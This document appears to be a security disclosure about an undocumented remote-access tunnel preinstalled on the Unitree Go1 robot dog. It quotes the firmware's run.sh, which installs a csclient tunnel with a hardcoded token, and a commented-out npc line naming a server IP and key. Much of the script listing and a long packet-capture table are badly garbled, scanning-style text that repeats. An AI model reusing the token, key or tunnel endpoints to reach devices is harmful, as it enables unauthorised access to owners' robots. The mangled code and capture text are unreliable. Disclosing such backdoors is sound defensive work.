# Unitree Go1 Who is speaking to my dog?

Author:

Andreas Makris aka Bin4ry [andreas.makris@gmail.com]

Co-Author: Kevin Finisterre aka d0tslash



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#### **Executive Summary**

The Unitree Go1 robot dog is an impressive piece of technology — but what if it's connected to more than just your own network? This report shows you the pre-installed and undocumented remote access tunnel service we've discovered, and what it means for owners.

## The Unitree Go1 Robot



https://shop.unitree.com/en-de/products/unitreeyushutechnologydog-artificial-intelligence-companion-bionic-companion-intelligent-robot-go1-quadruped-robot-dog

The Unitree Go1 is a commercially available quadruped robot developed by the Chinese robotics company Unitree Robotics. It gained popularity due to its relatively low cost compared to similar platforms from Western manufacturers. The product line includes different models, mainly differentiated by software restrictions and minor hardware variations.

The "Air" model starts at around \$2,500, the "Pro" version costs around \$3,500, and the "Edu" version is priced at \$8,500. The "Edu" version is specifically marketed to universities and research institutions. All models share the same system architecture, with hardware differences primarily in sensors and processors — the Edu model has more advanced components.

Here is an overview of the system architecture, as shown in the documentation from Unitree:



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https://unitree-docs.readthedocs.io/en/latest/get\_started/Go1\_Edu.html

Software-wise, all models run the same system. The primary difference lies in SDK control restrictions:

The Air model can't use the SDK, the Pro model supports high-level commands, and the Edu model supports both high-level and low-level commands.

High-level commands handle general movements, like walking in a specific direction, while low-level commands provide control over individual motors — requiring more precise handling to avoid falls and enable custom gaits.

However, these restrictions are artificial and built into the SDK. I've published a free Python-based SDK that enables both high-level and low-level control for all Unitree Go1 models, bypassing Unitree's paywall.

For interested readers, the SDK can be found here: https://github.com/Bin4ry/free-dog-sdk/

## Firmware

As shown in the system architecture, the robot runs on a Raspberry Pi alongside other components. For those interested in diving deeper, I recommend starting here: https://github.com/MAVProxyUser/YushuTechUnitreeGo1

To explore what's running on the Raspberry Pi, we'll examine a publicly available firmware update file: "Go1\_2022\_05\_11\_e0d0e617.zip." You can download it here: https://www.unitree.com/download/go1

The Raspberry Pi launches several Unitree services on startup.

Here's the autostart folder from the Go1 2022 05 11 firmware file and the tunnel folder we'll explore further:





The tunnel.sh just starts the run.sh (autostart mechanism).



And the contents of said run.sh:

Go1_20	022_05_11_e0d0e617 > raspi > Unitree > autostart > tunnel > 💲 run.sh
1	#!/bin/bash
2	eval echo "[tunnel] starting " <pre>\$toStartlog</pre>
3	val=`sed -ne '/uuid/p' /usr/local/zhexi/cloudsail/stat.yml   wc -c`
4	useUnitreeService=1
5	
6	11 [[ \$val -gt 20 ]]; then
/	uulo= cat /usr/local/znexl/cloudsall/stat.yml   grep "uulo"   awk "{print \$2}"
0	nython2 publich uuid py fuuid
10	fi
11	pingRepeat=0
12	pingResult=0
13	eval echo "[tunnel] ping unitree" <pre>\$toStartlog</pre>
14	while [[ \$pingRepeat -lt 20 ]]
15	do
16	sleep 3
17	((pingRepeat++))
18	if ping unitree.com -c 1 -I ppp0 &> /dev/null; then
19	pingResult=1
20	eval echo "[tunnel] internet connected" \$tostartlog
22	$_{1}r=3$ (nos theme $-1$ )
22	nython3 nublish network 46.ny
24	break
25	fi
26	done
27	
28	if [[ \$useUnitreeService -eq 1 ]]; then
29	if [[\$val -lt 20]]; then
30	if [[\$val -gt 0 ]]; then
31	eval echo "[tunnel] uninstall csclient" \$toStartlog
32	cd /usr/local/znex1/cloudsall/
34	fi
35	if [[ \$pinaResult -ea 1 ]]: then
36	eval echo "[tunnel] install csclient" <pre>\$toStartlog</pre>
37	<pre>cd /home/pi/Unitree/autostart/tunnel/cloudsail</pre>
38	<pre>sudo ./csclient install -quiet -token XGXMJh</pre>
39	<pre>cd /home/pi/Unitree/autostart/tunnel</pre>
40	tryRepeat=0
41	eval echo "[tunnel] Walting for uuld" stostartiog
42	do
44	((tryRepeat++))
45	val=`sed -ne '/uuid/p' /usr/local/zhexi/cloudsail/stat.yml   wc -c`
46	if [[ \$val -gt 20 ]]; then
47	<pre>uuid=`cat /usr/local/zhexi/cloudsail/stat.yml   grep "uuid"   awk '{print \$2}'`</pre>
48	eval echo "[tunnel] uuid: " \$uuid \$toStartlog
49	python3 publish_uuid.py \$uuid
50	oreak
52	sleep 2
52	done
54	fi
55	fi
56	else
57	if [[ \$val -gt 0 ]]; then
58	eval echo "[tunnel] uninstall csclient" <pre>\$toStartlog</pre>
59	cd /usr/local/zhexi/cloudsail/
60	sudo ./csclient uninstall
62	if [[ drinePecult _eq 1 ]], then
62	eval echo "[tunne]] time to use self-hosted service" \$to\$tartlog
64	#cd /home/pi/Unitree/autostart/configNetwork/linux arm64 client
65	#./npc -server=121.43.173.60:8024 -vkey=hblymmaa7ggcjdxg
66	fi
67	fi

The run.sh script checks for internet connectivity on the ppp0 interface by pinging unitree.com. If successful, and the variable "useUnitreeService" is set to 1 (which it is by default), it starts the tunnel service:

sudo ./csclient install -quiet -token XGXMJh

Interestingly, there's a commented-out line at the bottom of the script, which we'll examine later:

#./npc -server=121.43.173.60:8024 -vkey=hblymmaa7qgcjdxg

Here's an example showing the tunnel in action on a Go1 [from https://github.com/ MAVProxyUser/YushuTechUnitreeGo1]:

pi@raspberrypi:~ \$ netstat -ap | grep ESTABLISHED | grep 100.100.57.114 (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) 0 100.100.57.114:53570 124.156.140.55:5670 ESTABLISHED tcp 0 0 0 100.100.57.114:52582 124.156.140.55:http ESTABLISHED tcp tcp 0 0 100.100.57.114:52578 124.156.140.55:http ESTABLISHED -0 100.100.57.114:55788 134.175.175.55:9998 tcp 0 ESTABLISHED -

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508 59.88125	5 100.100.57.114	134.175.175.55	TPLINK-SMARTHOME/JSON	55 UDP Cmd: .YVG0
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C      C     C      C      C      C	Source         Destinat           100.106.77.114         100.177.           100.106.77.114         100.177.           100.106.77.114         100.177.           100.106.77.114         100.177.           100.106.77.114         100.177.           101.107.0.34         100.107.           101.107.0.34         100.107.           100.106.57.114         100.177.           100.106.57.114         100.177.           100.106.57.114         100.177.           100.106.57.114         100.177.           100.106.57.114         100.177.           100.106.57.114         100.177.           101.107.0.34         100.107.           101.107.0.34         100.107.           101.107.0.34         100.107.           101.107.0.34         100.107.           101.107.0.34         100.107.           101.107.0.34         100.107.           101.107.0.34         100.107.           101.107.0.34         100.107.           101.107.0.34         100.107.           101.107.0.34         100.107.           100.106.057.114         10.177.           100.106.057.114         10.177.           100.106.057.114         10.177. <td>Con         Protocol           0.34         MS           0.220         MS           0.234         MS           0.240         MS           0.220         MS           0.234         MS           0.234         MS           0.230         MS           0.7114         MS           0.57.114         MS           0.57.114         MS           0.57.114         MS           0.57.114         MS           0.34         MS           0.34         MS           0.57.114         MS</td> <td>Res     Res       Length     Info       78     5tandard q       78     5tandard q       78     5tandard q       78     5tandard q       142     5tandard q       143     5tandard q       144     5tandard q       145     5tandard q       145     5tandard q       145     5tandard q       145     5tandard q       155     5tandard q       165     5tandard q       173     5tandard q       185     5tandard q       195     5tandard q       115     5tandard q       125     5tandard q       135     5tandard q       147     5tandard q       155     75       161     5tandard q       175     5tandard q</td> <td><pre>cellhoms.pcap wery 8xf223 AAAA (loud.zhexi.tech wery 8xf23 AAAA (loud.zhexi.tech wery 8x584 A (loud.zhexi.tech wery 8x584 A (loud.zhexi.tech wery 8x584 A (loud.zhexi.tech wery 8x584 A (loud.zhexi.tech A 124.156.146.55 wery response 8x584 A (loud.zhexi.tech A 124.156.146.55 wery response 8x584 A (loud.zhexi.tech A 124.156.146.55 wery 8x585 A (lood.zhexi.tech A 124.156.146.55) wery 8x585 A (lood.zhexi.tech A 124.256.146) wery 8x585 A (lood.zhexi.tech A 146.2462.1466):1464.1460.596.5965:1464.146.1460.595.5965:1464.146.1460.595.5965:1464.146.595.5965:1464.595.5965:1464.595.5965:1464.595.5965:1464.595.5965:1464.595.5965:1464.595.5965:1464.595.5965:1466.5965:1466.5965:1466.595.5965:1466.5965:1466.595.5965:1466.5965:1466.595.596</pre></td>	Con         Protocol           0.34         MS           0.220         MS           0.234         MS           0.240         MS           0.220         MS           0.234         MS           0.234         MS           0.230         MS           0.7114         MS           0.57.114         MS           0.57.114         MS           0.57.114         MS           0.57.114         MS           0.34         MS           0.34         MS           0.57.114         MS	Res     Res       Length     Info       78     5tandard q       78     5tandard q       78     5tandard q       78     5tandard q       142     5tandard q       143     5tandard q       144     5tandard q       145     5tandard q       145     5tandard q       145     5tandard q       145     5tandard q       155     5tandard q       165     5tandard q       173     5tandard q       185     5tandard q       195     5tandard q       115     5tandard q       125     5tandard q       135     5tandard q       147     5tandard q       155     75       161     5tandard q       175     5tandard q	<pre>cellhoms.pcap wery 8xf223 AAAA (loud.zhexi.tech wery 8xf23 AAAA (loud.zhexi.tech wery 8x584 A (loud.zhexi.tech wery 8x584 A (loud.zhexi.tech wery 8x584 A (loud.zhexi.tech wery 8x584 A (loud.zhexi.tech A 124.156.146.55 wery response 8x584 A (loud.zhexi.tech A 124.156.146.55 wery response 8x584 A (loud.zhexi.tech A 124.156.146.55 wery 8x585 A (lood.zhexi.tech A 124.156.146.55) wery 8x585 A (lood.zhexi.tech A 124.256.146) wery 8x585 A (lood.zhexi.tech A 146.2462.1466):1464.1460.596.5965:1464.146.1460.595.5965:1464.146.1460.595.5965:1464.146.595.5965:1464.595.5965:1464.595.5965:1464.595.5965:1464.595.5965:1464.595.5965:1464.595.5965:1464.595.5965:1466.5965:1466.5965:1466.595.5965:1466.5965:1466.595.5965:1466.5965:1466.595.596</pre>
Image         Image         Image           2         1.684233         2.684233           3         1.694394         4.694394           4         1.694394         4.694394           5         1.694394         4.694394           4         1.694394         2.125638           12         2.596345         14           13         2.596545         14           14         2.556588         14           13         2.596745         16           31         2.596745         16           32         2.997642         16           39         3.497566         16           39         3.497566         16           39         3.497566         15           39         3.497566         15           39         3.497566         15           31         5.751616         15           12         5.1521616         15           12         5.1521616         15           12         5.151859         16           12         5.151859         15	Source         Destinat           100.100.57.114         100.177.           100.100.57.114         100.177.           100.100.57.114         100.177.           100.100.57.114         100.177.           100.100.57.114         100.177.           100.100.57.114         100.177.           100.100.57.114         100.177.           100.100.57.114         100.177.           100.100.57.114         100.177.           100.100.57.114         100.177.           100.100.57.114         100.177.           100.100.57.114         100.177.           100.170.0.34         100.101.           101.170.0.34         100.101.           101.170.0.34         100.107.           101.107.0.34         100.107.           101.107.0.34         100.107.           101.107.0.34         100.107.           101.170.0.34         100.107.           101.170.0.34         100.107.           101.170.0.34         100.107.           101.170.0.34         100.107.           101.170.0.34         100.107.           101.170.0.34         100.107.           101.170.0.34         100.107.           101.170.0.34         100.107.  <	Construction         Protocol           cols         Cols         Cols	Length Info 78 Standard ( 78 Standard ( 73 S	Lery 8xf223 AAA (loud.hexi.tech wery 8xf23 AAA (loud.hexi.tech wery 8xf23 AAA (loud.hexi.tech wery 8x584 A (loud.hexi.tech wery 8x584 A (loud.hexi.tech wery 8x584 A (loud.hexi.tech 124.156.146.55 wery response 8x584 A (loud.hexi.tech A 124.156.146.55 werge 8x584 A (loud.hexi.tech wery 8x584 A (loud.hexi.tech A 124.156.146.55 werge 8x584 A (loud.hexi.tech werge 8x584 A (loud.hexi.tech A 124.156.146.55 werge 8x584 A (loud.hexi.tech werge 8x584 A (loud.hexi.tech 50A dns27.hichina.com werge 1000 A (loud.hexi.tech 50A dns27.hic
Image         Image           Image </td <td>Source         Desinet           100.100.57.114         10.177.           100.100.57.114         10.177.           100.100.57.114         10.177.           100.100.57.114         10.177.           100.100.57.114         10.177.           100.100.57.114         10.177.           100.100.57.114         10.177.           10.177.0.34         100.100.100.100.100.100.100.100.100.100</td> <td>C 22 0 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2</td> <td>Length Info 78 Standard q 78 Standard q 78 Standard q 78 Standard 142 Standard 94 Standard 148 Standard 148 Standard 149 Standard 151 Standard 87 Standard 87 Standard 88 Standard 83 Standard 83 Standard 151 Standard 83 Standard 151 Standard 153 Standar</td> <td><pre>wery &amp;xfc29 AAA cloud.thexi.tech wery &amp;xfc29 AAA cloud.thexi.tech X14.156.146.55 wery response &amp;xfc29 AAA cloud.thexi.tech A 124.156.146.55 wery response &amp;xfc29 AAA cloud.thexi.tech A 124.156.146.55 wery wersponse &amp;xf39 AAA cloud.thexi.tech A 124.156.146.55 wery &amp;xf304 AAA ifconfig.cloud.thexi.tech A 124.156.146.55 wery &amp;xf304 AAAA ifconfig.cloud.thexi.tech A 124.156.146.55 wery &amp;xf304 AAAA ifconfig.cloud.thexi.tech wery &amp;xf304 AAAA ifconfig.cloud.thexi.tech A 124.252.4298 wery &amp;xf304 AAAA ifconfig.cloud.thexi.tech wery &amp;xf304 AAAA ifconfig.cloud.thexi.tech wery &amp;xf304 AAAA ifconfig.cloud.thexi.tech wery &amp;xf304 AAAA ifconfig.cheki.tech Wery &amp;xf304 AAAAA ifconfig.cheki.tech Wery &amp;xf304 AAAA ifconfig.cheki.tech Wery &amp;xf304 AAAAA ifconfig.cheki.tech Wery &amp;xf304 AAAAAA ifconfig.cheki.tech Wery &amp;xf304 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</pre></td>	Source         Desinet           100.100.57.114         10.177.           100.100.57.114         10.177.           100.100.57.114         10.177.           100.100.57.114         10.177.           100.100.57.114         10.177.           100.100.57.114         10.177.           100.100.57.114         10.177.           10.177.0.34         100.100.100.100.100.100.100.100.100.100	C 22 0 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2	Length Info 78 Standard q 78 Standard q 78 Standard q 78 Standard 142 Standard 94 Standard 148 Standard 148 Standard 149 Standard 151 Standard 87 Standard 87 Standard 88 Standard 83 Standard 83 Standard 151 Standard 83 Standard 151 Standard 153 Standar	<pre>wery &amp;xfc29 AAA cloud.thexi.tech wery &amp;xfc29 AAA cloud.thexi.tech X14.156.146.55 wery response &amp;xfc29 AAA cloud.thexi.tech A 124.156.146.55 wery response &amp;xfc29 AAA cloud.thexi.tech A 124.156.146.55 wery wersponse &amp;xf39 AAA cloud.thexi.tech A 124.156.146.55 wery &amp;xf304 AAA ifconfig.cloud.thexi.tech A 124.156.146.55 wery &amp;xf304 AAAA ifconfig.cloud.thexi.tech A 124.156.146.55 wery &amp;xf304 AAAA ifconfig.cloud.thexi.tech wery &amp;xf304 AAAA ifconfig.cloud.thexi.tech A 124.252.4298 wery &amp;xf304 AAAA ifconfig.cloud.thexi.tech wery &amp;xf304 AAAA ifconfig.cloud.thexi.tech wery &amp;xf304 AAAA ifconfig.cloud.thexi.tech wery &amp;xf304 AAAA ifconfig.cheki.tech Wery &amp;xf304 AAAAA ifconfig.cheki.tech Wery &amp;xf304 AAAA ifconfig.cheki.tech Wery &amp;xf304 AAAAA ifconfig.cheki.tech Wery &amp;xf304 AAAAAA ifconfig.cheki.tech Wery &amp;xf304 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</pre>
Image         Image <thimage< th=""> <th< td=""><td>Source         Destinat           189, 180, 57, 114         19, 174, 19, 177           189, 180, 57, 114         19, 177           189, 180, 57, 114         19, 177           189, 180, 57, 114         19, 177           189, 180, 57, 114         19, 177           180, 180, 57, 114         19, 177           180, 170, 0, 34         180, 174           180, 170, 0, 34         180, 174           180, 170, 0, 24         18, 177           180, 180, 57, 114         19, 177           180, 180, 57, 114         19, 177           180, 170, 0, 34         180, 174           180, 170, 0, 34         180, 174           180, 170, 0, 34         180, 177           180, 180, 57, 114         19, 177           180, 180, 57, 114         180, 177           180, 180, 57, 114         180, 177           180, 180, 57, 114         180, 177           180, 180, 57, 114         180, 177           180, 180, 57, 114         180, 177           180, 180, 57, 114         180, 177           180, 180, 57, 114         180, 177           180, 180, 57, 114         180, 177           180, 180, 57, 114         180, 177           180, 180, 57, 114         180, 177<td>Image: Constraint of the second sec</td><td>Length Info 78 Standard q 78 Standard q 78 Standard q 78 Standard q 79 Standard q 70 Standard q 70 Standard q 70 Standard q 130 Standard q 73 Standard q 73 Standard q 73 Standard q 75 Standard q 83 Standard q 83 Standard q 94 Standard q 95 Standard q 95 Standard q 95 Standard q 95 Standard q 93 Standard q 93 Standard q 93 Standard q 93 Standard q 94 Standard q 95 Standard q 93 Standard q 93</td><td>Lery &amp; St729 AAA cloud.thexi.tech wery &amp; St729 AAA cloud.thexi.tech &amp; St72 St729 AAA cloud.thexi.tech &amp; St72 St729 St729 AAA cloud.thexi.tech &amp; St72 St729 St729 AAA cloud.thexi.tech &amp; St72 St729 St729 AAA cloud.thexi.tech &amp; St729 St729 AAA cloud.thexi.tech &amp; St729 St7</td></td></th<></thimage<>	Source         Destinat           189, 180, 57, 114         19, 174, 19, 177           189, 180, 57, 114         19, 177           189, 180, 57, 114         19, 177           189, 180, 57, 114         19, 177           189, 180, 57, 114         19, 177           180, 180, 57, 114         19, 177           180, 170, 0, 34         180, 174           180, 170, 0, 34         180, 174           180, 170, 0, 24         18, 177           180, 180, 57, 114         19, 177           180, 180, 57, 114         19, 177           180, 170, 0, 34         180, 174           180, 170, 0, 34         180, 174           180, 170, 0, 34         180, 177           180, 180, 57, 114         19, 177           180, 180, 57, 114         180, 177           180, 180, 57, 114         180, 177           180, 180, 57, 114         180, 177           180, 180, 57, 114         180, 177           180, 180, 57, 114         180, 177           180, 180, 57, 114         180, 177           180, 180, 57, 114         180, 177           180, 180, 57, 114         180, 177           180, 180, 57, 114         180, 177           180, 180, 57, 114         180, 177 <td>Image: Constraint of the second sec</td> <td>Length Info 78 Standard q 78 Standard q 78 Standard q 78 Standard q 79 Standard q 70 Standard q 70 Standard q 70 Standard q 130 Standard q 73 Standard q 73 Standard q 73 Standard q 75 Standard q 83 Standard q 83 Standard q 94 Standard q 95 Standard q 95 Standard q 95 Standard q 95 Standard q 93 Standard q 93 Standard q 93 Standard q 93 Standard q 94 Standard q 95 Standard q 93 Standard q 93</td> <td>Lery &amp; St729 AAA cloud.thexi.tech wery &amp; St729 AAA cloud.thexi.tech &amp; St72 St729 AAA cloud.thexi.tech &amp; St72 St729 St729 AAA cloud.thexi.tech &amp; St72 St729 St729 AAA cloud.thexi.tech &amp; St72 St729 St729 AAA cloud.thexi.tech &amp; St729 St729 AAA cloud.thexi.tech &amp; St729 St7</td>	Image: Constraint of the second sec	Length Info 78 Standard q 78 Standard q 78 Standard q 78 Standard q 79 Standard q 70 Standard q 70 Standard q 70 Standard q 130 Standard q 73 Standard q 73 Standard q 73 Standard q 75 Standard q 83 Standard q 83 Standard q 94 Standard q 95 Standard q 95 Standard q 95 Standard q 95 Standard q 93 Standard q 93 Standard q 93 Standard q 93 Standard q 94 Standard q 95 Standard q 93	Lery & St729 AAA cloud.thexi.tech wery & St729 AAA cloud.thexi.tech & St72 St729 AAA cloud.thexi.tech & St72 St729 St729 AAA cloud.thexi.tech & St72 St729 St729 AAA cloud.thexi.tech & St72 St729 St729 AAA cloud.thexi.tech & St729 St729 AAA cloud.thexi.tech & St729 St7
Image         Image <t< td=""><td>Source         Destination           100, 100, 57, 114         101, 177           100, 100, 57, 114         101, 177           100, 100, 57, 114         101, 177           100, 100, 57, 114         101, 177           100, 100, 57, 114         101, 177           100, 100, 57, 114         101, 177           101, 170, 0, 34         1000, 110           101, 170, 0, 34         100, 110           101, 170, 0, 34         100, 110           101, 170, 0, 34         100, 110           101, 170, 0, 34         100, 110           101, 170, 0, 34         100, 110           101, 170, 0, 34         100, 110           101, 170, 0, 34         100, 100           101, 170, 0, 34         100, 100           101, 170, 0, 34         100, 100           101, 170, 0, 34         100, 100           101, 170, 0, 34         100, 100           101, 170, 0, 34         100, 100           101, 170, 0, 34         100, 100           101, 170, 0, 34         100, 100           101, 170, 0, 34         100, 100           101, 170, 0, 34         100, 100           101, 170, 0, 34         100, 100           101, 170, 0, 34         100, 171</td><td>CO         Colored Col</td><td>Length Info 78 Standard q 78 Standard q 79 Standard q 79 Standard q 79 Standard q 71 Standard q 80 Standard q 81 Standard q 83 Standard q 94 Standard q 95 Standard q 93 S</td><td><pre>cellhome.pcap wery Bxfc29 AAA cloud.rhexi.tech wery Bxfc29 AAA cloud.rhexi.tech Bxfc20 AAA cloud.rhexi.tech Wery Bxfc29 AAA cloud.rhexi.tech A124.156.146.55 Merzethale Wery Bxf58 AAA ifconfig.cloud.rhexi.tech Wery Bxf58 AAAA ifconfig.cloud.rhexi.tech Wery Bxf58 AAAA ifconfig.cloud.rhexi.tech A112.42.156.24.289 Wery Bxf58 AAAA ifconfig.cloud.rhexi.tech Wery Bxf58 AAAA ifconfig.cloud.rhexi.tech Wery Bxf58 AAAA ifconfig.cloud.rhexi.tech Wery Bxf58 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</pre></td></t<>	Source         Destination           100, 100, 57, 114         101, 177           100, 100, 57, 114         101, 177           100, 100, 57, 114         101, 177           100, 100, 57, 114         101, 177           100, 100, 57, 114         101, 177           100, 100, 57, 114         101, 177           101, 170, 0, 34         1000, 110           101, 170, 0, 34         100, 110           101, 170, 0, 34         100, 110           101, 170, 0, 34         100, 110           101, 170, 0, 34         100, 110           101, 170, 0, 34         100, 110           101, 170, 0, 34         100, 110           101, 170, 0, 34         100, 100           101, 170, 0, 34         100, 100           101, 170, 0, 34         100, 100           101, 170, 0, 34         100, 100           101, 170, 0, 34         100, 100           101, 170, 0, 34         100, 100           101, 170, 0, 34         100, 100           101, 170, 0, 34         100, 100           101, 170, 0, 34         100, 100           101, 170, 0, 34         100, 100           101, 170, 0, 34         100, 100           101, 170, 0, 34         100, 171	CO         Colored Col	Length Info 78 Standard q 78 Standard q 79 Standard q 79 Standard q 79 Standard q 71 Standard q 80 Standard q 81 Standard q 83 Standard q 94 Standard q 95 Standard q 93 S	<pre>cellhome.pcap wery Bxfc29 AAA cloud.rhexi.tech wery Bxfc29 AAA cloud.rhexi.tech Bxfc20 AAA cloud.rhexi.tech Wery Bxfc29 AAA cloud.rhexi.tech A124.156.146.55 Merzethale Wery Bxf58 AAA ifconfig.cloud.rhexi.tech Wery Bxf58 AAAA ifconfig.cloud.rhexi.tech Wery Bxf58 AAAA ifconfig.cloud.rhexi.tech A112.42.156.24.289 Wery Bxf58 AAAA ifconfig.cloud.rhexi.tech Wery Bxf58 AAAA ifconfig.cloud.rhexi.tech Wery Bxf58 AAAA ifconfig.cloud.rhexi.tech Wery Bxf58 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</pre>
Image         Image         Image           0.         1.693423         Image           0.         1.693423         Image           1.693424         1.693424         Image           2.155638         1.693424         Image           3.2.55638         13         2.55653           3.2.556538         14         2.556538           3.3.475666         3.447566           9.3.447566         5.521616           9.3.447566         5.521616           9.5.521616         6.561855           2.637548         6.561855           2.637548         6.561855           2.13748         8.6           2.13748         8.327262           2.1343382722         2.13432722           2.1343342722         2.14426240           2.15<43.764482	Source         Destinat           180.180.57.114         10.177.           180.180.57.114         10.177.           180.180.57.114         10.177.           180.180.57.114         10.177.           180.180.57.114         10.177.           180.180.57.114         10.177.           180.180.57.114         10.177.           18.170.034         100.177.           18.177.0.34         100.177.           180.180.57.114         10.177.           180.180.57.114         10.177.           180.170.037.114         10.177.           180.170.034         100.197.           180.170.037.114         10.177.           180.170.034         100.197.           180.170.034         100.197.           180.170.034         100.197.           180.170.034         100.197.           180.170.034         100.197.           180.170.034         100.197.           180.170.034         100.197.           180.170.037.114         10.177.           180.170.037.114         10.177.           180.170.037.114         10.177.           180.170.037.114         10.177.           180.180.57.114         10.177.	CO         Pertoscol           60.         Pertoscol           60.234         DNS           60.210         DNS           60.210         DNS           60.211         DNS           60.213         DNS           60.214         DNS           60.213         DNS           60.7114         DNS           60.7210         DONS           60.7211         ONS           60.7214         DNS           60.7214         DNS           60.734         DNS           60.7114	Lungth Info 78 Standard Q 78 Standard Q 79 Standard Q 79 Standard Q 70 Standard Q 71 Standard Q 71 Standard Q 72 Standard Q 73 Standard Q 74 Standard Q 75 Standard Q 74 Standard Q 75 Standard Q 74 Standard Q 75 Standard Q 75 Standard Q 74 Standard Q 75 Standard Q 74 Standard Q 75 Standard Q 74 Standard Q 75 S	<pre>wery 8xfc29 AAA cloud.thexi.tech wery 8xfc29 AAA cloud.thexi.tech 124.156.146.55 Wery 8xfc29 AAA cloud.thexi.tech Wery 8xfc29 AAA cloud.thexi.tech 124.156.146.55 Wery 8xff29 Aif Config.cloud.thexi.tech 124.156.146.55 Wery 8xff29 Aif Config.cloud.thexi.tech 124.156.146.55 Wery 8xff29 Aif Config.cloud.thexi.tech Wery response 8xf89 A ifconfig.cloud.thexi.tech 124.126.24.289 Wery 8xff29 Aif Configue.thexi.tech Wery response 8xf89 A ifconfigue.thexi.tech AAA 24214e08114044400818:9468:1428:1f1b Wery Word50 AAA y.thexi.tech Wery response 8xf89 A ifconfigue.thexi.tech AAA 24214e08114044400818:9468:1428:1f1b Wery Word50 AAA y.thexi.tech Wery 8xf89 A if A ifconfigue.thexi.tech AAA 24214e08114044400818:9468:1428:1f1b Wery Word50 AAA y.thexi.tech Wery 8x586 AAA ifconfigue.thexi.tech AAA 24214e08114044400818:9468:1428:1f1b Wery Word50 AAA y.thexi.tech Wery 8x586 AAA ifconfigue.thexi.tech AAA 24214e08114044400818:9468:1428:1f1b Wery Word50 AAA y.thexi.tech Wery 8x586 AAA ifconfigue.thexi.tech AAA 24214e08114044400818:9468:1428:1f1b Wery Word50 AAA d.thexi.tech Wery 8x586 A ifconfigue.thexi.tech AAA 24214e08114044400818:9468:1428:1f1b Wery 8x586 A ifconfigue.thexi.tech AAA 24214e08114044400818:9468:1428:1f1b Wery 8x586 AAA ifconfigue.thexi.tech AAA 24214e081404400818:9468:1428:1f1b Wery 8x586 A ifconfigue.thexi.tech AAA 24214e0814044400818:9468:1428:1f1b Wery 8x586 A ifconfigue.thexi.tech AAA 24214e0814044400818:9468:1428:1f1b Wery 8x586 A ifconfigue.thexi.tech AAA 242142322222222222222222222222222222222</pre>
Image         Image           0         Image         Image           1         Image<	Source         Destinat           180.106.37.114         10.177.           180.206.37.114         10.177.           180.206.37.114         10.177.           180.206.37.114         10.177.           180.106.37.114         10.177.           180.106.37.114         10.177.           180.177.0.34         100.107.           180.177.0.37         100.106.107.           180.177.0.34         100.177.           180.177.0.34         100.177.           180.206.37.114         10.177.           180.206.37.114         10.177.           180.176.37.114         10.177.           180.176.37.114         10.177.           180.180.57.114         10.177.           180.180.57.114         10.177.           180.180.57.114         10.177.           180.180.57.114         10.177.           180.180.57.114         10.177.           180.180.57.114         10.177.           180.180.57.114         10.177.           180.180.57.114         10.177.           180.170.034         100.107.           180.177.0.34         100.107.           180.177.0.34         100.107.           180.177.0.34         100.107.	Construction         Personal           0.34         DNS           0.34         DNS           0.37.114         DNS           0.57.114         DNS <td>Image     Image       Longth     Image       78     Standard q       74     Standard q       75     Standard q       76     Standard q       75     Standard q       80     Standard q       181     Standard q       183     Standard q       193     Standard q</td> <td>Lery Bxfc29 AMA cloud.thexi.tech wery Bxfc29 AMA cloud.thexi.tech wery Bxfc29 AMA cloud.thexi.tech wery Bx5B4 A cloud.thexi.tech A 124.156.146.55 wery Exponse Bx5B4 A cloud.thexi.tech A 124.156.146.55 wery Bx5B4 A cloud.thexi.tech wery Bx5B4 A cloud.thexi.tech A 124.156.146.55 wery Bx5B4 A cloud.thexi.tech wery Bx5B4 A cloud.thexi.tech A 124.156.146.55 wery Bx5B4 A cloud.thexi.tech A 124.156.146.55 wery Bx5B4 A cloud.thexi.tech wery Bx5B4 A cloud.thexi.tech A 124.156.146.55 wery Bx5B4 A cloud.thexi.tech wery Bx5B4 A cloud.thexi.tech Wery</td>	Image     Image       Longth     Image       78     Standard q       74     Standard q       75     Standard q       76     Standard q       75     Standard q       80     Standard q       181     Standard q       183     Standard q       193     Standard q	Lery Bxfc29 AMA cloud.thexi.tech wery Bxfc29 AMA cloud.thexi.tech wery Bxfc29 AMA cloud.thexi.tech wery Bx5B4 A cloud.thexi.tech A 124.156.146.55 wery Exponse Bx5B4 A cloud.thexi.tech A 124.156.146.55 wery Bx5B4 A cloud.thexi.tech wery Bx5B4 A cloud.thexi.tech A 124.156.146.55 wery Bx5B4 A cloud.thexi.tech wery Bx5B4 A cloud.thexi.tech A 124.156.146.55 wery Bx5B4 A cloud.thexi.tech A 124.156.146.55 wery Bx5B4 A cloud.thexi.tech wery Bx5B4 A cloud.thexi.tech A 124.156.146.55 wery Bx5B4 A cloud.thexi.tech wery
Image         Image           0         1.68423           2.1.68423         2.1.68423           3.1.68424         4.68423           4.1.68429         2.1.68424           4.1.68429         2.1.55638           13.2.55638         2.69759           33.2.997642         3.699359           33.2.997642         3.3.497566           33.3.497566         3.447366           33.3.497566         3.521516           64.547355         66.581895           27.52666         1.515749           86.581859         29.43382252           21.433481667         2.1344167           21.433481667         2.244233           22.443157449         2.22244.157449           22.2244.157849         2.22244.157849           22.2244.157849         2.22244.157849           22.2244.157849         2.22244.157849           22.2244.157849         2.22244.157849           22.2244.157849         2.2244.157849           22.2244.157849         2.2244.157849           22.2244.157849         2.2244.157849           22.244.2157849         2.2244.157849           22.244.2157849         2.2244.157849           22.244.2157849         2.2244.15	Source         Destinat           100.100.57.114         100.177.           100.100.57.114         100.177.           100.100.57.114         100.177.           100.100.57.114         100.177.           100.100.57.114         100.177.           100.100.57.114         100.177.           100.100.57.114         100.177.           100.170.0.24         100.171.           100.170.0.24         100.171.           100.170.0.24         100.171.           100.170.0.21         100.171.           100.170.0.21         100.171.           100.170.0.21         100.171.           100.170.0.21         100.171.           100.170.0.21         100.171.           100.170.0.21         100.171.           100.170.0.37.114         100.177.           100.170.0.37.114         100.177.           100.170.0.37.114         100.177.           100.170.0.37.114         100.177.           100.170.0.37.114         100.177.           100.170.0.37.114         100.177.           100.170.0.27.114         100.177.           100.170.0.27.114         100.177.           100.170.0.27.114         100.177.           100.170.0.27.114	Constraint         Partness           Constraint         Constraint	Length Info 2 Standard Q 